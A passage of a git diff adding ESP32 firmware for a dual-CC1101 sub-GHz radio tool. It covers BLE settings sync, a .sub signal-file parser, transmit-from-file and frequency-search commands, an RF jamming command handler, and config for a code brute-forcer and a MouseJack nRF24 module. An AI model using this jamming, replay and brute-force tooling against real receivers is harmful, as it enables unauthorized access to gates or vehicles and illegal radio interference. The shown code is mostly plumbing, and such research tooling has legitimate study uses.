ConfigManager::settings.scannerRssi, ConfigManager::settings.bruterPower, + ConfigManager::settings.bruterDelay, ConfigManager::settings.bruterRepeats); + // Echo back the new settings to confirm sync + sendSettingsSync(); + return true; + } + + // Send firmware version info to all BLE clients. + // Payload: [0xC2][major][minor][patch] β€” 4 bytes total. + static void sendVersionInfo() { + BinaryVersionInfo vInfo; + vInfo.major = FIRMWARE_VERSION_MAJOR; + vInfo.minor = FIRMWARE_VERSION_MINOR; + vInfo.patch = FIRMWARE_VERSION_PATCH; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::VersionInfo, + reinterpret_cast(&vInfo), sizeof(vInfo)); + ESP_LOGI("StateCommands", "VersionInfo sent: %d.%d.%d", + vInfo.major, vInfo.minor, vInfo.patch); + } + + // Send current persistent settings to all BLE clients. + static void sendSettingsSync() { + uint8_t payload[8]; + ConfigManager::buildSyncPayload(payload); + ClientsManager::getInstance().notifyAllBinary( + NotificationType::SettingsSync, payload, sizeof(payload)); + ESP_LOGI("StateCommands", "SettingsSync sent: rssi=%d power=%d delay=%d reps=%d mod1=%d mod2=%d", + ConfigManager::settings.scannerRssi, ConfigManager::settings.bruterPower, + ConfigManager::settings.bruterDelay, ConfigManager::settings.bruterRepeats, + ConfigManager::settings.radioPowerMod1, ConfigManager::settings.radioPowerMod2); + } + + // Send current BLE device name to all clients. + // Payload: [0xC7][nameLen:1][name...] + static void sendDeviceName() { + const char* name = ConfigManager::getDeviceName(); + size_t nameLen = strlen(name); + uint8_t payload[2 + MAX_DEVICE_NAME_LEN]; + payload[0] = MSG_DEVICE_NAME; + payload[1] = (uint8_t)nameLen; + memcpy(payload + 2, name, nameLen); + ClientsManager::getInstance().notifyAllBinary( + NotificationType::State, payload, 2 + nameLen); + ESP_LOGI("StateCommands", "DeviceName sent: %s", name); + } + + // Check module existence + static bool moduleExists(uint8_t module) { + return module < CC1101_NUM_MODULES; + } +}; + +#endif diff --git a/include/StringBuffer.h b/include/StringBuffer.h new file mode 100644 index 0000000..0fa0023 --- /dev/null +++ b/include/StringBuffer.h @@ -0,0 +1,99 @@ +#ifndef StringBuffer_h +#define StringBuffer_h + +#include +#include +#include + +/** + * Optimized buffer for working with strings on microcontrollers + * Uses static memory instead of dynamic allocations + */ +template +class StringBuffer { +private: + char buffer[MaxSize]; + size_t length; + +public: + StringBuffer() : length(0) { + buffer[0] = '\0'; + } + + // Clear buffer + void clear() { + length = 0; + buffer[0] = '\0'; + // Zero the whole buffer for safety (avoid leftovers of old data) + memset(buffer, 0, MaxSize); + } + + // Append string + bool append(const char* str) { + size_t strLen = strlen(str); + if (length + strLen >= MaxSize) { + return false; // Overflow + } + strcpy(buffer + length, str); + length += strLen; + return true; + } + + // Append string with specified length + bool append(const char* str, size_t len) { + if (length + len >= MaxSize) { + return false; // Overflow + } + strncpy(buffer + length, str, len); + length += len; + buffer[length] = '\0'; + return true; + } + + // Append character + bool append(char c) { + if (length + 1 >= MaxSize) { + return false; // Overflow + } + buffer[length] = c; + buffer[length + 1] = '\0'; + length++; + return true; + } + + // Formatted print + bool printf(const char* format, ...) { + va_list args; + va_start(args, format); + int result = vsnprintf(buffer + length, MaxSize - length, format, args); + va_end(args); + + if (result < 0 || length + result >= MaxSize) { + return false; // Overflow + } + length += result; + return true; + } + + // Accessors + const char* c_str() const { return buffer; } + size_t size() const { return length; } + size_t capacity() const { return MaxSize; } + bool empty() const { return length == 0; } + + // Operators for compatibility + operator const char*() const { return buffer; } +}; + +/** + * Specialized buffers for different tasks + * OPTIMIZED: Sizes reduced to save memory + */ +using JsonBuffer = StringBuffer<2048>; // For JSON responses (reduced from 16KB to 2KB - sufficient for most responses) +using PathBuffer = StringBuffer<128>; // For file paths +using LogBuffer = StringBuffer<256>; // For logs +using CommandBuffer = StringBuffer<64>; // For commands +using ChunkBuffer = StringBuffer<800>; // For streaming chunking (800B for CHUNK_SEND_SIZE) + +#endif // StringBuffer_h + diff --git a/include/SubFileParser.h b/include/SubFileParser.h new file mode 100644 index 0000000..ba42284 --- /dev/null +++ b/include/SubFileParser.h @@ -0,0 +1,306 @@ +#include +#include +#include // For std::find +#include // For std::array +#include // For std::string +#include +#include +#include "SubGhzProtocol.h" +#include "protocols/Princeton.h" +#include "PulsePayload.h" + +const uint8_t subghz_device_cc1101_preset_ook_270khz_async_regs[] = {0x02, 0x0D, 0x03, 0x07, 0x08, 0x32, 0x0B, 0x06, 0x14, 0x00, 0x13, 0x00, 0x12, 0x30, 0x11, + 0x32, 0x10, 0x17, 0x18, 0x18, 0x19, 0x18, 0x1D, 0x91, 0x1C, 0x00, 0x1B, 0x07, 0x20, 0xFB, + 0x22, 0x11, 0x21, 0xB6, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + +const uint8_t subghz_device_cc1101_preset_ook_650khz_async_regs[] = {0x02, 0x0D, 0x03, 0x07, 0x08, 0x32, 0x0B, 0x06, 0x14, 0x00, 0x13, 0x00, 0x12, 0x30, 0x11, + 0x32, 0x10, 0x17, 0x18, 0x18, 0x19, 0x18, 0x1D, 0x91, 0x1C, 0x00, 0x1B, 0x07, 0x20, 0xFB, + 0x22, 0x11, 0x21, 0xB6, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + +const uint8_t subghz_device_cc1101_preset_2fsk_dev2_38khz_async_regs[] = {0x02, 0x0D, 0x03, 0x07, 0x08, 0x32, 0x0B, 0x06, 0x14, 0x00, 0x13, 0x00, 0x12, 0x10, 0x11, + 0x32, 0x10, 0x17, 0x18, 0x18, 0x19, 0x18, 0x1D, 0x91, 0x1C, 0x00, 0x1B, 0x07, 0x20, 0xFB, + 0x22, 0x11, 0x21, 0xB6, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + +const uint8_t subghz_device_cc1101_preset_2fsk_dev47_6khz_async_regs[] = {0x02, 0x0D, 0x03, 0x07, 0x08, 0x32, 0x0B, 0x06, 0x14, 0x00, 0x13, 0x00, 0x12, 0x10, 0x11, + 0x32, 0x10, 0x17, 0x18, 0x18, 0x19, 0x18, 0x1D, 0x91, 0x1C, 0x00, 0x1B, 0x07, 0x20, 0xFB, + 0x22, 0x11, 0x21, 0xB6, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + +const uint8_t subghz_device_cc1101_preset_msk_99_97kb_async_regs[] = {0x02, 0x0D, 0x03, 0x07, 0x08, 0x32, 0x0B, 0x06, 0x14, 0x00, 0x13, 0x00, 0x12, 0x70, 0x11, + 0x32, 0x10, 0x17, 0x18, 0x18, 0x19, 0x18, 0x1D, 0x91, 0x1C, 0x00, 0x1B, 0x07, 0x20, 0xFB, + 0x22, 0x11, 0x21, 0xB6, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + +const uint8_t subghz_device_cc1101_preset_gfsk_9_99kb_async_regs[] = {0x02, 0x0D, 0x03, 0x07, 0x08, 0x32, 0x0B, 0x06, 0x14, 0x00, 0x13, 0x00, 0x12, 0x10, 0x11, + 0x32, 0x10, 0x17, 0x18, 0x18, 0x19, 0x18, 0x1D, 0x91, 0x1C, 0x00, 0x1B, 0x07, 0x20, 0xFB, + 0x22, 0x11, 0x21, 0xB6, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + +struct SubFileHeader +{ + String filetype; + uint32_t version; + uint32_t frequency; +}; + +struct SubFilePreset +{ + String preset; + String customPresetModule; + String customPresetData; +}; + +struct SubFileData +{ + String protocol; + std::vector rawData; + uint32_t bitLength; + String key; + uint32_t te; +}; + +const std::array cc1101Presets = { + "FuriHalSubGhzPresetOok270Async", + "FuriHalSubGhzPresetOok650Async", + "FuriHalSubGhzPreset2FSKDev238Async", + "FuriHalSubGhzPreset2FSKDev476Async", + "FuriHalSubGhzPresetMSK99_97KbAsync", + "FuriHalSubGhzPresetGFSK9_99KbAsync" +}; + +class SubFileParser +{ +public: + SubFileHeader header; + SubFilePreset preset; + SubFileData data; + uint8_t moduleParams[128]; + + SubFileParser(File file) : file(file) + { + clearMemory(); + } + + void displayInfo() + { + Serial.println("Filetype: " + header.filetype); + Serial.println("Version: " + String(header.version)); + Serial.println("Frequency: " + String(header.frequency)); + Serial.println("Preset: " + preset.preset); + if (!preset.customPresetModule.isEmpty()) { + Serial.println("Custom Preset Module: " + preset.customPresetModule); + } + if (!preset.customPresetData.isEmpty()) { + Serial.println("Custom Preset Data: " + preset.customPresetData); + } + Serial.println("Protocol: " + data.protocol); + + printModuleParams(); + } + + void clearMemory() + { + // Clear dynamically allocated memory + data.rawData.clear(); + memset(moduleParams, 0, sizeof(moduleParams)); + } + + bool isModuleCc1101() + { + return (preset.preset == "FuriHalSubGhzPresetCustom" && preset.customPresetModule == "CC1101") || inCc1101Presets(); + } + + bool parseFile() { + readFile(); + + if (!file) { + return false; + } + + if (data.protocol.isEmpty()) { + return false; + } + Serial.println(data.protocol.c_str()); + protocol.reset(SubGhzProtocol::create(data.protocol.c_str())); + + if (!protocol) { + Serial.println("no protocol found"); + SubGhzProtocolRegistry::instance().printRegisteredProtocols(); + return false; + } + file.seek(0); + bool result = protocol->parse(file); + + return result; + } + + bool getPayload(PulsePayload &payload) const { + if (!protocol) { + return false; + } + const auto& pulseData = protocol->getPulseData(); + // Serial.println(protocol->serialize().c_str()); + payload = PulsePayload(pulseData, protocol->getRepeatCount()); + + return true; + } + +private: + File file; + std::unique_ptr protocol; + + void readFile() + { + if (!file) { + return; + } + + while (file.available()) { + String line = file.readStringUntil('\n'); + if (line.endsWith("\r")) { + line.remove(line.length() - 1); + } + parseLine(line); + } + + handlePreset(); + } + + void parseLine(const String &line) + { + if (line.startsWith("Filetype:")) { + header.filetype = parseValue(line); + } else if (line.startsWith("Version:")) { + header.version = parseValue(line).toInt(); + } else if (line.startsWith("Frequency:")) { + header.frequency = parseValue(line).toInt(); + } else if (line.startsWith("Preset:")) { + preset.preset = parseValue(line); + } else if (line.startsWith("Custom_preset_module:")) { + preset.customPresetModule = parseValue(line); + } else if (line.startsWith("Custom_preset_data:")) { + preset.customPresetData = parseValue(line); + } else if (line.startsWith("Protocol:")) { + data.protocol = parseValue(line); + } else { + return; + } + } + + String parseValue(const String &line) + { + int pos = line.indexOf(':'); + if (pos == -1) { + return ""; + } + String val = line.substring(pos + 1); + val.trim(); + return val; + } + + void handlePreset() + { + if (preset.preset == "FuriHalSubGhzPresetCustom") { + parseCustomPresetData(preset.customPresetData); + } else { + const uint8_t *byteArray = getByteArrayForPreset(preset.preset); + if (byteArray != nullptr) { + for (int i = 0; i < 44; i++) { + moduleParams[i] = byteArray[i]; + } + } + } + } + + void parseRawDataLine(const String &rawValues) + { + int start = 0; + while (start < rawValues.length()) { + int spaceIndex = rawValues.indexOf(' ', start); + if (spaceIndex == -1) { + spaceIndex = rawValues.length(); + } + + String numberStr = rawValues.substring(start, spaceIndex); + int value = numberStr.toInt(); + data.rawData.push_back(value); + + start = spaceIndex + 1; + } + } + + const uint8_t *getByteArrayForPreset(const String &preset) + { + if (preset == "FuriHalSubGhzPresetOok270Async") { + return subghz_device_cc1101_preset_ook_270khz_async_regs; + } else if (preset == "FuriHalSubGhzPresetOok650Async") { + return subghz_device_cc1101_preset_ook_650khz_async_regs; + } else if (preset == "FuriHalSubGhzPreset2FSKDev238Async") { + return subghz_device_cc1101_preset_2fsk_dev2_38khz_async_regs; + } else if (preset == "FuriHalSubGhzPreset2FSKDev476Async") { + return subghz_device_cc1101_preset_2fsk_dev47_6khz_async_regs; + } else if (preset == "FuriHalSubGhzPresetMSK99_97KbAsync") { + return subghz_device_cc1101_preset_msk_99_97kb_async_regs; + } else if (preset == "FuriHalSubGhzPresetGFSK9_99KbAsync") { + return subghz_device_cc1101_preset_gfsk_9_99kb_async_regs; + } + + return nullptr; + } + + bool inCc1101Presets() + { + return std::find(cc1101Presets.begin(), cc1101Presets.end(), preset.preset.c_str()) != cc1101Presets.end(); + } + + void parseCustomPresetData(const String &customData) + { + int length = countBytes(customData); + + int startIndex = 0; + int endIndex = customData.indexOf(' ', startIndex); + int index = 0; + + while (endIndex > 0) { + String byteStr = customData.substring(startIndex, endIndex); + moduleParams[index++] = strtol(byteStr.c_str(), NULL, 16); + startIndex = endIndex + 1; + endIndex = customData.indexOf(' ', startIndex); + } + + // Get the last byte + String byteStr = customData.substring(startIndex); + moduleParams[index++] = strtol(byteStr.c_str(), NULL, 16); + } + + int countBytes(const String &data) + { + int count = 0; + int startIndex = 0; + int endIndex = data.indexOf(' ', startIndex); + + while (endIndex > 0) { + count++; + startIndex = endIndex + 1; + endIndex = data.indexOf(' ', startIndex); + } + + // Count the last byte + count++; + return count; + } + + void printModuleParams() + { + size_t size = sizeof(moduleParams); + Serial.println("Module Params:"); + for (size_t i = 0; i < size; ++i) { + if (i % 16 == 0) { // Print 16 bytes per line + Serial.println(); + } + if (moduleParams[i] < 0x10) { + Serial.print("0"); // Add leading zero for single digit hex values + } + Serial.print(moduleParams[i], HEX); + Serial.print(" "); + } + Serial.println(); + } +}; \ No newline at end of file diff --git a/include/TransmitterCommands.h b/include/TransmitterCommands.h new file mode 100644 index 0000000..8beab2e --- /dev/null +++ b/include/TransmitterCommands.h @@ -0,0 +1,195 @@ +#ifndef TransmitterCommands_h +#define TransmitterCommands_h + +#include "StringBuffer.h" +#include "core/ble/CommandHandler.h" +#include "core/ble/ControllerAdapter.h" +#include "DeviceTasks.h" +#include "StringHelpers.h" +#include "core/ble/ClientsManager.h" +#include "config.h" +#include "modules/CC1101_driver/CC1101_Worker.h" +#include "cstring" + +/** + * Transmission commands using static buffers + */ +class TransmitterCommands { +public: + static void registerCommands(CommandHandler& handler) { + handler.registerCommand(0x06, handleTransmitBinary); + handler.registerCommand(0x07, handleTransmitFromFile); + handler.registerCommand(0x11, handleFrequencySearch); + handler.registerCommand(0x12, handleStartJam); // 0x12 for jamming + } + +private: + + // Transmit from file + static bool handleTransmitFromFile(const uint8_t* data, size_t len) { + ESP_LOGD("TransmitterCommands", "handleTransmitFromFile START, len=%zu", len); + if (len < 2) { + uint8_t errBuffer[2] = {MSG_SIGNAL_SEND_ERROR, 1}; // 1=insufficient data + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, errBuffer, 2); + return false; + } + uint8_t pathLength = data[0]; + uint8_t pathType = data[1]; + if (len < 2 + pathLength) { + uint8_t errBuffer[2] = {MSG_SIGNAL_SEND_ERROR, 2}; // 2=path length mismatch + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, errBuffer, 2); + return false; + } + std::string filename(reinterpret_cast(data + 2), pathLength); + int module = -1; + if (len > 2 + pathLength) { + module = static_cast(data[2 + pathLength]); + } + ESP_LOGD("TransmitterCommands", "Parsed filename='%s', pathType=%d, module=%d", filename.c_str(), pathType, module); + + // If module not specified, find first idle module + if (module < 0 || module >= CC1101_NUM_MODULES) { + module = CC1101Worker::findFirstIdleModule(); + if (module < 0) { + ESP_LOGW("TransmitterCommands", "No idle module available for transmission"); + uint8_t errBuffer[2] = {MSG_SIGNAL_SEND_ERROR, 4}; // 4=no idle module + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, errBuffer, 2); + return false; + } + ESP_LOGI("TransmitterCommands", "Auto-selected idle module %d", module); + } else { + // Check if specified module is idle + if (CC1101Worker::getState(module) != CC1101State::Idle) { + ESP_LOGW("TransmitterCommands", "Module %d is not idle (state: %d)", module, static_cast(CC1101Worker::getState(module))); + uint8_t errBuffer[2] = {MSG_SIGNAL_SEND_ERROR, 5}; // 5=module not idle + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, errBuffer, 2); + return false; + } + } + + Device::TaskTransmissionBuilder builder(Device::TransmissionType::File); + builder.setFilename(filename); + builder.setModule(module); + builder.setRepeat(1); + builder.setPathType(pathType); + Device::TaskTransmission task = builder.build(); + ESP_LOGD("TransmitterCommands", "Queue Device::TaskTransmission: file=%s, module=%d, pathType=%d", filename.c_str(), module, pathType); + bool sent = ControllerAdapter::sendTask(std::move(task)); + if (!sent) { + uint8_t errBuffer[260]; + errBuffer[0] = MSG_SIGNAL_SEND_ERROR; + errBuffer[1] = 3; // 3=failed to post task + errBuffer[2] = (uint8_t)std::min((size_t)255, filename.length()); + memcpy(errBuffer + 3, filename.c_str(), errBuffer[2]); + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, errBuffer, 3 + errBuffer[2]); + } + return sent; + } + + // Frequency search + static bool handleFrequencySearch(const uint8_t* data, size_t len) { + if (len < 3) { + return false; + } + + uint8_t module = data[0]; + uint8_t minRssiRaw = data[1]; + uint8_t isBackgroundRaw = data[2]; + + // Convert RSSI + int16_t minRssi = minRssiRaw > 100 ? minRssiRaw - 256 : minRssiRaw; + bool isBackground = isBackgroundRaw == 1; + + // Create task + Device::TaskDetectSignal task = Device::TaskDetectSignalBuilder() + .setModule(module) + .setMinRssi(minRssi) + .setIsBackground(isBackground) + .build(); + + ControllerAdapter::sendTask(std::move(task)); + return true; + } + + // Binary data transmission + static bool handleTransmitBinary(const uint8_t* data, size_t len) { + // TODO: Implement binary transmission + return true; + } + + // Start jamming + // Format: module(1) + frequency(4) + power(1) + patternType(1) + maxDurationMs(4) + cooldownMs(4) + [customPatternLen(1) + customPattern] + static bool handleStartJam(const uint8_t* data, size_t len) { + if (len < 15) { + ESP_LOGW("TransmitterCommands", "Insufficient data for startJam: %zu bytes (need at least 15)", len); + return false; + } + + int offset = 0; + uint8_t module = data[offset++]; + if (module >= CC1101_NUM_MODULES) { + ESP_LOGW("TransmitterCommands", "Invalid module: %d", module); + return false; + } + + float frequency; + memcpy(&frequency, data + offset, 4); + offset += 4; + + uint8_t power = data[offset++]; + if (power > 7) { + ESP_LOGW("TransmitterCommands", "Invalid power: %d (max 7)", power); + power = 7; + } + + uint8_t patternTypeRaw = data[offset++]; + Device::JamPatternType patternType = static_cast(patternTypeRaw); + if (patternTypeRaw > 3) { + ESP_LOGW("TransmitterCommands", "Invalid patternType: %d, using Random", patternTypeRaw); + patternType = Device::JamPatternType::Random; + } + + uint32_t maxDurationMs; + memcpy(&maxDurationMs, data + offset, 4); + offset += 4; + + uint32_t cooldownMs; + memcpy(&cooldownMs, data + offset, 4); + offset += 4; + + Device::TaskJamBuilder builder; + builder.setModule(module) + .setFrequency(frequency) + .setPower(power) + .setPatternType(patternType) + .setMaxDuration(maxDurationMs) + .setCooldown(cooldownMs); + + // If custom pattern + if (patternType == Device::JamPatternType::Custom && len > offset) { + if (len < offset + 1) { + ESP_LOGW("TransmitterCommands", "Custom pattern length missing"); + return false; + } + uint8_t patternLen = data[offset++]; + if (len < offset + patternLen) { + ESP_LOGW("TransmitterCommands", "Custom pattern data incomplete: need %d bytes, have %zu", patternLen, len - offset); + return false; + } + std::vector customPattern(data + offset, data + offset + patternLen); + builder.setCustomPattern(customPattern); + } + + Device::TaskJam task = builder.build(); + ESP_LOGI("TransmitterCommands", "StartJam: module=%d, freq=%.2f, power=%d, pattern=%d, maxDur=%lu, cooldown=%lu", + module, frequency, power, patternTypeRaw, maxDurationMs, cooldownMs); + + bool sent = ControllerAdapter::sendTask(std::move(task)); + if (!sent) { + ESP_LOGE("TransmitterCommands", "Failed to queue jam task"); + } + return sent; + } +}; + +#endif // TransmitterCommands_h diff --git a/include/config.h b/include/config.h new file mode 100644 index 0000000..8a24f8a --- /dev/null +++ b/include/config.h @@ -0,0 +1,128 @@ +// ======================================== +// FIRMWARE VERSION β€” Update here on every release! +// ======================================== +// Format: MAJOR.MINOR.PATCH +// - MAJOR: Breaking changes to BLE protocol or hardware support +// - MINOR: New features, new protocols, UI commands +// - PATCH: Bug fixes, optimizations +// The app will compare these values for FW update matching. +#define FIRMWARE_VERSION_MAJOR 1 +#define FIRMWARE_VERSION_MINOR 0 +#define FIRMWARE_VERSION_PATCH 0 +#define FIRMWARE_VERSION_STRING "1.0.0" + +#define CC1101_NUM_MODULES 2 + +// Modulation types +#define MODULATION_2_FSK 0 +#define MODULATION_GFSK 1 +#define MODULATION_ASK_OOK 2 +#define MODULATION_4_FSK 3 +#define MODULATION_MSK 4 + +#if defined(ESP8266) + #define RECEIVE_ATTR ICACHE_RAM_ATTR +#elif defined(ESP32) + #define RECEIVE_ATTR IRAM_ATTR +#else + #define RECEIVE_ATTR +#endif + +#define MIN_SAMPLE 30 +#define MIN_PULSE_DURATION 50 +#define MAX_SIGNAL_DURATION 100000 + +#define SERIAL_BAUDRATE 115200 + +// Tasks params +#define NOTIFICATIONS_QUEUE 5 // Reduced from 10 to save ~2KB heap + +/* I/O */ +// SPI devices +#define SD_SCLK 18 +#define SD_MISO 19 +#define SD_MOSI 23 +#define SD_SS 22 + +#define CC1101_SCK 14 +#define CC1101_MISO 12 +#define CC1101_MOSI 13 +#define CC1101_SS0 5 +#define CC1101_SS1 27 +#define MOD0_GDO0 2 +#define MOD0_GDO2 4 +#define MOD1_GDO0 25 +#define MOD1_GDO2 26 + +// nRF24L01 MouseJack module +#define NRF_MODULE_ENABLED 1 +#define NRF_CE 33 // Chip Enable +#define NRF_CSN 15 // Chip Select (SPI) +// nRF24 shares HSPI bus (SCK=14, MISO=12, MOSI=13) with CC1101 modules + +// OTA firmware update +#define OTA_MODULE_ENABLED 1 + +// Battery monitoring via ADC +// GPIO 36 (VP) connected to battery through voltage divider +// Voltage divider: GND---100K---GPIO36---220K---VBAT β†’ ratio = (220+100)/100 = 3.2 +#define BATTERY_MODULE_ENABLED 1 +#define BATTERY_ADC_PIN 36 // GPIO 36 = ADC1_CH0 (input-only) +#define BATTERY_DIVIDER_RATIO 3.2 // Voltage divider ratio: (R1+R2)/R2 = (220K+100K)/100K +#define BATTERY_READ_INTERVAL_MS 30000 // Read every 30 seconds +#define BATTERY_FULL_MV 4200 // Fully charged LiPo voltage (mV) +#define BATTERY_EMPTY_MV 3200 // Empty LiPo voltage (mV) + +// Buttons and led +#define LED 32 +#define BUTTON1 34 +#define BUTTON2 35 + +// SDR (Software Defined Radio) mode +// Uses one CC1101 module for spectrum scanning, raw RX, and serial SDR interface. +// When active, other CC1101 operations are blocked. +#define SDR_MODULE_ENABLED 1 +#define SDR_DEFAULT_MODULE 0 // CC1101 module index to use for SDR (0 or 1) +#define SDR_SPECTRUM_STEP_KHZ 100 // Default frequency step for spectrum scan (kHz) +#define SDR_RSSI_SETTLE_US 1500 // Microseconds to wait for RSSI stabilization +#define SDR_MAX_SPECTRUM_POINTS 200 // Max points per spectrum scan +#define SDR_SERIAL_BAUDRATE 115200 // Serial baud rate for SDR streaming + +/* BRUTER MODULE CONFIGURATION */ +// Based on EvilCrowRf Bruter v5 config, adapted for our hardware + +// --- BRUTER MODULE ENABLE --- +#define BRUTER_MODULE_ENABLED 1 // Enable/disable bruter functionality + +// --- RF HARDWARE CONFIG (using our CC1101 module 1) --- +#define BRUTER_CC1101_FREQ_OFFSET 0.052 // Adjust with SDR if possible + +// --- PIN DEFINITIONS (matching our config.h) --- +#define BRUTER_RF_CS CC1101_SS1 // 27 - Second CC1101 module +#define BRUTER_RF_GDO0 MOD1_GDO0 // 25 - GDO0 for module 1 +#define BRUTER_RF_TX MOD1_GDO0 // 25 - TX pin (GDO0 = async serial data input in PKT_FORMAT=3) +#define BRUTER_RF_SCK CC1101_SCK // 14 +#define BRUTER_RF_MISO CC1101_MISO // 12 +#define BRUTER_RF_MOSI CC1101_MOSI // 13 + +// --- BRUTER SPECIFIC --- +#define BRUTER_DEFAULT_REPETITIONS 4 // Default repetitions per code +#define BRUTER_MAX_REPETITIONS 10 // Maximum allowed repetitions +#define BRUTER_INTER_FRAME_GAP_MS 10 // Default gap between frames in ms (configurable via BLE) + +// --- PROGRESS REPORTING --- +#define BRUTER_PROGRESS_INTERVAL 32 // Report progress every N codes (small for reactive UI) +#define BRUTER_LED_BLINK_INTERVAL 16 // LED toggle every N codes (fast visible blink) +#define DEBRUIJN_PROGRESS_INTERVAL 256 // Progress interval for De Bruijn (bits) +#define DEBRUIJN_MAX_BITS 16 // Max n for De Bruijn sequence on ESP32 + +// --- MEMORY MANAGEMENT --- +#define BRUTER_PROTOCOL_BUFFER_SIZE 256 // Buffer for protocol data +#define BRUTER_MAX_PROTOCOLS_LOADED 10 // Limit concurrent protocols to save RAM + +// --- TIMING PRECISION --- +#define BRUTER_TIMING_TOLERANCE_US 10 // Β±10Β΅s tolerance for pulses + +// --- DEBUG & LOGGING --- +#define BRUTER_DEBUG_ENABLED 1 // Enable debug output +#define BRUTER_LOG_PROGRESS_INTERVAL 1000 // Log progress every N codes diff --git a/lib/CC1101_RadioLib/CC1101_Radio.cpp b/lib/CC1101_RadioLib/CC1101_Radio.cpp new file mode 100644 index 0000000..e0ce8a2 --- /dev/null +++ b/lib/CC1101_RadioLib/CC1101_Radio.cpp @@ -0,0 +1,1417 @@ + +/* + Based on ELECHOUSE_CC1101.cpp - CC1101 module library +*/ +#include "SPI.h" +#include "CC1101_Radio.h" +#include +#include "driver/gpio.h" + +// Helper: wait for MISO to go LOW with timeout (CC1101 ready signal) +// Uses gpio_get_level() instead of digitalRead() to avoid ESP32 +// warning when pin is configured for SPI peripheral function. +static inline bool waitMisoLow(byte pin, uint32_t timeoutUs = 1000) { + uint32_t start = micros(); + while (gpio_get_level((gpio_num_t)pin)) { + if ((micros() - start) >= timeoutUs) { + return false; // Timeout - CC1101 not responding + } + } + return true; +} + +/****************************************************************/ +#define WRITE_BURST 0x40 //write burst +#define READ_SINGLE 0x80 //read single +#define READ_BURST 0xC0 //read burst +#define BYTES_IN_RXFIFO 0x7F //byte number in RXfifo +#define max_modul 6 + +SPIClass CCSPI(HSPI); +byte currentModule = 0; +byte modulation[max_modul] = {2,2,2,2,2,2}; +byte deviation[max_modul] = {0,0,0,0,0,0}; +byte frend0[max_modul]; +byte chan[max_modul] = {0,0,0,0,0,0}; +int pa[max_modul] = {12,12,12,12,12,12}; +byte last_pa[max_modul]; +byte SCK_PIN[max_modul]; +byte MISO_PIN[max_modul]; +byte MOSI_PIN[max_modul]; +byte SS_PIN[max_modul]; +byte GDO0[max_modul]; +byte GDO2[max_modul]; + +byte gdo_set[max_modul] = {0,0,0,0,0,0}; +bool spi[max_modul] = {0,0,0,0,0,0}; +bool ccmode[max_modul] = {0,0,0,0,0,0}; +float MHz[max_modul] = {433.92,433.92,433.92,433.92,433.92,433.92}; +float bwValue[max_modul]; +byte m4RxBw[max_modul] = {0,0,0,0,0,0}; +float dataRate[max_modul]; +byte m4DaRa[max_modul]; +bool dcOffFlag[max_modul]; +byte m2DCOFF[max_modul]; +byte m2MODFM[max_modul]; +byte m2MANCH[max_modul]; +bool syncModeFlag[max_modul]; +byte m2SYNCM[max_modul]; +byte m1FEC[max_modul]; +byte m1PRE[max_modul]; +byte m1CHSP[max_modul]; +byte pc1PQT[max_modul]; +byte pc1CRC_AF[max_modul]; +byte pc1APP_ST[max_modul]; +byte pc1ADRCHK[max_modul]; +byte pc0WDATA[max_modul]; +byte pc0PktForm[max_modul]; +byte pc0CRC_EN[max_modul]; +byte pc0LenConf[max_modul]; +byte trxstate[max_modul] = {0,0,0,0,0,0}; +byte clb1[2]= {24,28}; +byte clb2[2]= {31,38}; +byte clb3[2]= {65,76}; +byte clb4[2]= {77,79}; + +/****************************************************************/ +uint8_t PA_TABLE[8] {0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00}; +// -30 -20 -15 -10 0 5 7 10 +uint8_t PA_TABLE_315[8] {0x12,0x0D,0x1C,0x34,0x51,0x85,0xCB,0xC2,}; //300 - 348 +uint8_t PA_TABLE_433[8] {0x12,0x0E,0x1D,0x34,0x60,0x84,0xC8,0xC0,}; //387 - 464 +// -30 -20 -15 -10 -6 0 5 7 10 12 +uint8_t PA_TABLE_868[10] {0x03,0x17,0x1D,0x26,0x37,0x50,0x86,0xCD,0xC5,0xC0,}; //779 - 899.99 +// -30 -20 -15 -10 -6 0 5 7 10 11 +uint8_t PA_TABLE_915[10] {0x03,0x0E,0x1E,0x27,0x38,0x8E,0x84,0xCC,0xC3,0xC0,}; //900 - 928 +/**************************************************************** +*FUNCTION NAME:SpiStart +*FUNCTION :spi communication start +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::SpiStart(void) +{ + // initialize the SPI pins + pinMode(SCK_PIN[currentModule], OUTPUT); + pinMode(MOSI_PIN[currentModule], OUTPUT); + pinMode(MISO_PIN[currentModule], INPUT); + pinMode(SS_PIN[currentModule], OUTPUT); + + // enable SPI + #ifdef ESP32 + CCSPI.begin(SCK_PIN[currentModule], MISO_PIN[currentModule], MOSI_PIN[currentModule], SS_PIN[currentModule]); + #else + CCSPI.begin(); + #endif +} +/**************************************************************** +*FUNCTION NAME:SpiEnd +*FUNCTION :spi communication disable +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::SpiEnd(void) +{ + // disable SPI + CCSPI.endTransaction(); + CCSPI.end(); +} +/**************************************************************** +*FUNCTION NAME: GDO_Set() +*FUNCTION : set GDO0,GDO2 pin for serial pinmode. +*INPUT : none +*OUTPUT : none +****************************************************************/ +void CC1101_Radio::GDO_Set (void) +{ + pinMode(GDO0[currentModule], OUTPUT); + pinMode(GDO2[currentModule], INPUT); +} +/**************************************************************** +*FUNCTION NAME: GDO_Set() +*FUNCTION : set GDO0[currentModule] for internal transmission mode. +*INPUT : none +*OUTPUT : none +****************************************************************/ +void CC1101_Radio::GDO0_Set (void) +{ + pinMode(GDO0[currentModule], INPUT); +} +/**************************************************************** +*FUNCTION NAME:Reset +*FUNCTION 